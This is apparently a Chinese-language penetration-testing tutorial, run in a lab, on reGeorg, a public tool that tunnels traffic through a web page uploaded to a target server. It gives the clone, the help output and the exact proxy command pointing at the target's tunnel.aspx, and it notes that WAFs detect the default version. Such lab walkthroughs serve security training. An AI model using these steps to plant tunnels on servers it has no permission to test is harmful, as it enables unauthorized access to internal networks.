专注APT攻击与防御

https://micropoor.blogspot.com/

reGeorg简介：

reGeorg的前身是2008年SensePost在BlackHat USA 2008 的 reDuh延伸与扩展。也是目前安全从业人员使用最多，范围最广，支持多丰富的一款http隧道。从本质上讲，可以将JSP/PHP/ASP/ASPX等页面上传到目标服务器，便可以访问该服务器后面的主机。

2014年blackhat介绍

https://www.blackhat.com/eu-14/arsenal.html#regeorg

Github：

https://github.com/sensepost/reGeorg

攻击机： 192.168.1.5 Debian

192.168.1.4 Windows 7

靶机： 192.168.1.119 Windows 2003

安装：

1 root@John:~# git clone https://github.com/sensepost/reGeorg.git

2 Cloning into 'reGeorg'...

3 remote: Enumerating objects: 85, done.

4 remote: Total 85 (delta 0), reused 0 (delta 0), pack‐reused 85

5 Unpacking objects: 100% (85/85), done.

6 root@John:~# cd reGeorg/

7 root@John:~/reGeorg# ls

8 LICENSE.html LICENSE.txt README.md reGeorgSocksProxy.py tunnel.ashx tu nnel.aspx tunnel.js tunnel.jsp tunnel.nosocket.php tunnel.php tunnel.tomc at.5.jsp

9 root@John:~/reGeorg# python reGeorgSocksProxy.py ‐h

10

11

12 \_\_\_\_\_

13 \_\_\_\_\_ \_\_\_\_\_\_ \_\_|\_\_\_ |\_\_ \_\_\_\_\_\_ \_\_\_\_\_ \_\_\_\_\_ \_\_\_\_\_\_

14 | | | \_\_\_|| \_\_\_| || \_\_\_|/ \| | | \_\_\_|

15 | \ | \_\_\_|| | | || \_\_\_|| || \ | | |

16 |\_\_|\\_\_\|\_\_\_\_\_\_||\_\_\_\_\_\_| \_\_||\_\_\_\_\_\_|\\_\_\_\_\_/|\_\_|\\_\_\|\_\_\_\_\_\_|

17 |\_\_\_\_\_|

18 ... every office needs a tool like Georg 19

20 willem@sensepost.com / @\_w\_m\_\_

21 sam@sensepost.com / @trowalts

22 etienne@sensepost.com / @kamp\_staaldraad 23

24

25 usage: reGeorgSocksProxy.py [‐h] [‐l] [‐p] [‐r] ‐u [‐v] 26

27 Socks server for reGeorg HTTP(s) tunneller 28

29 optional arguments:

30 ‐h, ‐‐help show this help message and exit

31 ‐l , ‐‐listen‐on The default listening address

32 ‐p , ‐‐listen‐port The default listening port

33 ‐r , ‐‐read‐buff Local read buffer, max data to be sent per POST

34 ‐u , ‐‐url The url containing the tunnel script

35 ‐v , ‐‐verbose Verbose output[INFO|DEBUG]

1 root@John:~/reGeorg# pip install urllib3

2 Requirement already satisfied: urllib3 in /usr/lib/python2.7/dist‐pack ages (1.24)

靶机执行：

以aspx为demo。

攻击机执行：

1 python reGeorgSocksProxy.py ‐p 8080 ‐l 192.168.1.5 ‐u http://192.168. 1.119/tunnel.aspx

Windows下配合Proxifier：

非常遗憾的是，目前大部分waf都会针对默认原装版本的reGeorg。

Micropoor